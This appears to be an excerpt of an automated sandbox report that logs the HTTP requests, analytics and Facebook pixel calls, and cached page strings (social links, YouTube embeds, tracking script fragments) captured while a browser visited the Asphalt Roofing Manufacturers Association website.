Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/about-arma/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/about-arma/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884079.0.0.0; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/AdobeStock_104312193-300x200.jpeg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/about-arma/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884086.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/logo-icon.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/about-arma/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=7&C_TOUCH=2024-04-23T14:54:39.985Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884086.0.0.0
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.asphaltroofing.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/AdobeStock_104312193-300x200.jpeg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884086.0.0.0; _scc_session=pc=8&C_TOUCH=2024-04-23T14:54:48.150Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/logo-icon.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884086.0.0.0; _scc_session=pc=8&C_TOUCH=2024-04-23T14:54:48.150Z
Source: global traffic	HTTP traffic detected: GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884089117 HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884089686&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /security.js?v=1713884090256 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.asphaltroofing.org/about-arma/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884086.0.0.0; _scc_session=pc=8&C_TOUCH=2024-04-23T14:54:48.150Z
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884089686&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /?wc-ajax=get_refreshed_fragments HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884086.0.0.0; _scc_session=pc=8&C_TOUCH=2024-04-23T14:54:48.150Z
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&rl=&if=false&ts=1713884090822&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884090811&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&rl=&if=false&ts=1713884090822&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884090811&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source, triggerReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /security.js?v=1713884090256 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.asphaltroofing.org/security.js?v=1713884090256User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884086.0.0.0; _scc_session=pc=8&C_TOUCH=2024-04-23T14:54:48.150ZIf-None-Match: "4506e-5c6-5ddcbf6119400"If-Modified-Since: Fri, 29 Apr 2022 14:36:00 GMT
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&rl=&if=false&ts=1713884090822&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884090811&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&rl=&if=false&ts=1713884090822&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884090811&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: chromecache_534.2.dr	String found in binary or memory: src = provider === 'youtube' ? '//www.youtube.com/embed/' + id + '?enablejsapi=1&wmode=opaque' : '//player.vimeo.com/video/'+ id; equals www.youtube.com (Youtube)
Source: chromecache_534.2.dr	String found in binary or memory: tag.src = "//www.youtube.com/player_api"; equals www.youtube.com (Youtube)
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: </div></div></div><!-- end bottom_1 --><div id='bottom_2' class='one_fourth'><div class='column-content-wrapper'><div class="bottom-col-content widget_text substitute_widget_class"><h3 class="bottom-col-title">Social Media</h3><div class="textwidget"><a href="https://www.linkedin.com/company/asphalt-roofing-manufacturers-association/" target="_blank" rel="noopener"><i class="fa fa-linkedin-square" style="font-size:3em;"></i></a> equals www.linkedin.com (Linkedin)
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: <meta property="article:publisher" content="https://www.facebook.com/AsphaltRoofingManufacturersAssociation/" /> equals www.facebook.com (Facebook)
Source: chromecache_508.2.dr	String found in binary or memory: <div class="socnets"><ul class="menu" id="socnets"><li class="item110"><a href="https://www.facebook.com/AsphaltRoofingManufacturersAssociation/" target="_blank"><span>Facebook</span></a></li><li class="item111"><a href="https://www.linkedin.com/company/15477111" target="_blank"><span>Linkedin</span></a></li><li class="item160"><a href="https://www.youtube.com/user/asphaltroofingvideo?feature=watch" target="_blank"><span>YouTube</span></a></li></ul></div> equals www.facebook.com (Facebook)
Source: chromecache_508.2.dr	String found in binary or memory: <div class="socnets"><ul class="menu" id="socnets"><li class="item110"><a href="https://www.facebook.com/AsphaltRoofingManufacturersAssociation/" target="_blank"><span>Facebook</span></a></li><li class="item111"><a href="https://www.linkedin.com/company/15477111" target="_blank"><span>Linkedin</span></a></li><li class="item160"><a href="https://www.youtube.com/user/asphaltroofingvideo?feature=watch" target="_blank"><span>YouTube</span></a></li></ul></div> equals www.linkedin.com (Linkedin)
Source: chromecache_508.2.dr	String found in binary or memory: <div class="socnets"><ul class="menu" id="socnets"><li class="item110"><a href="https://www.facebook.com/AsphaltRoofingManufacturersAssociation/" target="_blank"><span>Facebook</span></a></li><li class="item111"><a href="https://www.linkedin.com/company/15477111" target="_blank"><span>Linkedin</span></a></li><li class="item160"><a href="https://www.youtube.com/user/asphaltroofingvideo?feature=watch" target="_blank"><span>YouTube</span></a></li></ul></div> equals www.youtube.com (Youtube)
Source: chromecache_551.2.dr	String found in binary or memory: social_tools: '<div class="twitter"><a href="https://twitter.com/share" class="twitter-share-button" data-count="none">Tweet</a><script type="text/javascript" src="https://platform.twitter.com/widgets.js"></script></div><div class="facebook"><iframe src="https://www.facebook.com/plugins/like.php?locale=en_US&href={location_href}&layout=button_count&show_faces=true&width=500&action=like&font&colorscheme=light&height=23" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:500px; height:23px;" allowTransparency="true"></iframe></div>' /* html or false to disable */ equals www.facebook.com (Facebook)
Source: chromecache_551.2.dr	String found in binary or memory: social_tools: '<div class="twitter"><a href="https://twitter.com/share" class="twitter-share-button" data-count="none">Tweet</a><script type="text/javascript" src="https://platform.twitter.com/widgets.js"></script></div><div class="facebook"><iframe src="https://www.facebook.com/plugins/like.php?locale=en_US&href={location_href}&layout=button_count&show_faces=true&width=500&action=like&font&colorscheme=light&height=23" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:500px; height:23px;" allowTransparency="true"></iframe></div>' /* html or false to disable */ equals www.twitter.com (Twitter)
Source: chromecache_441.2.dr	String found in binary or memory: (function(a,b,c,d){var e={exports:{}};e.exports;(function(){var f=a.fbq;f.execStart=a.performance&&a.performance.now&&a.performance.now();if(!function(){var b=a.postMessage\|\|function(){};if(!f){b({action:"FB_LOG",logType:"Facebook Pixel Error",logMessage:"Pixel code is not installed correctly on this page"},"");"error"in console&&console.error("Facebook Pixel Error: Pixel code is not installed correctly on this page");return!1}return!0}())return;f.__fbeventsModules\|\|(f.__fbeventsModules={},f.__fbeventsResolvedModules={},f.getFbeventsModules=function(a){f.__fbeventsResolvedModules[a]\|\|(f.__fbeventsResolvedModules[a]=f.__fbeventsModules[a]());return f.__fbeventsResolvedModules[a]},f.fbIsModuleLoaded=function(a){return!!f.__fbeventsModules[a]},f.ensureModuleRegistered=function(b,a){f.fbIsModuleLoaded(b)\|\|(f.__fbeventsModules[b]=a)});f.ensureModuleRegistered("signalsFBEventsGetIwlUrl",function(){return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var b=f.getFbeventsModules("signalsFBEventsGetTier"),c=d();function d(){try{if(a.trustedTypes&&a.trustedTypes.createPolicy){var b=a.trustedTypes;return b.createPolicy("facebook.com/signals/iwl",{createScriptURL:function(a){var b=new URL(a);b=b.hostname.endsWith(".facebook.com")&&b.pathname=="/signals/iwl.js";if(!b)throw new Error("Disallowed script URL");return a}})}}catch(a){}return null}e.exports=function(a,d){d=b(d);d=d==null?"www.facebook.com":"www."+d+".facebook.com";d="https://"+d+"/signals/iwl.js?pixel_id="+a;if(c!=null)return c.createScriptURL(d);else return d}})();return e.exports}(a,b,c,d)});f.ensureModuleRegistered("signalsFBEventsGetTier",function(){return function(f,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=/^https:\/\/www\.([A-Za-z0-9\.]+)\.facebook\.com\/tr\/?$/,b=["https://www.facebook.com/tr","https://www.facebook.com/tr/"];e.exports=function(c){if(b.indexOf(c)!==-1)return null;var d=a.exec(c);if(d==null)throw new Error("Malformed tier: "+c);return d[1]}})();return e.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEvents.plugins.iwlbootstrapper",function(){return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var c=f.getFbeventsModules("SignalsFBEventsIWLBootStrapEvent"),d=f.getFbeventsModules("SignalsFBEventsLogging"),g=f.getFbeventsModules("SignalsFBEventsNetworkConfig"),h=f.getFbeventsModules("SignalsFBEventsPlugin"),i=f.getFbeventsModules("signalsFBEventsGetIwlUrl"),j=f.getFbeventsModules("signalsFBEventsGetTier"),k=d.logUserError,l=/^https:\/\/.\.facebook\.com$/i,m="FACEBOOK_IWL_CONFIG_STORAGE_KEY",n=null;e.exports=new h(function(d,e){try{n=a.sessionStorage?a.sessionStorage:{getItem:function(a){return null},removeItem:function(a){},setItem:function(a,b){}}}catch(a){return}function h(c,d){var e=b.createElement("script");e.async=!0;e.onload=function(){if(!a.FacebookIWL\|\|!a.FacebookIWL.init)return;var b=j(g.ENDPOINT);b!=null&&a.FacebookIWL.set&&a.FacebookIWL.set("tier",b);d()};a.FacebookIWLSessionEnd=func
Source: chromecache_514.2.dr	String found in binary or memory: </ul></div></div><div id="text-9" class="widget widget_text substitute_widget_class"><h3 class="widgettitle">Social Media</h3><div class="textwidget"><a href="http://www.linkedin.com/pub/asphalt-roofing-manufacturers-association/22/865/288" target="_blank" rel="noopener"><i class="fa fa-linkedin-square" style="font-size:3em;"></i></a> equals www.linkedin.com (Linkedin)
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: <a href="http://www.youtube.com/user/asphaltroofingvideo?feature=watch" target="_blank" rel="noopener"><i class="fa fa-youtube-square" style="font-size:3em;"></i></a> equals www.youtube.com (Youtube)
Source: chromecache_315.2.dr, chromecache_514.2.dr, chromecache_254.2.dr, chromecache_500.2.dr, chromecache_411.2.dr, chromecache_298.2.dr	String found in binary or memory: <a href="https://www.facebook.com/AsphaltRoofingManufacturersAssociation/" target="_blank" rel="noopener"><i class="fa fa-facebook-square" style="font-size:3em;"></i></a> equals www.facebook.com (Facebook)
Source: chromecache_540.2.dr	String found in binary or memory: Math.round(p);v["gtm.videoCurrentTime"]=Math.round(q);v["gtm.videoElapsedTime"]=Math.round(f);v["gtm.videoPercent"]=r;v["gtm.videoVisible"]=t;return v},Ij:function(){e=zb()},pd:function(){d()}}};var dc=ia(["data-gtm-yt-inspected-"]),xC=["www.youtube.com","www.youtube-nocookie.com"],yC,zC=!1; equals www.youtube.com (Youtube)
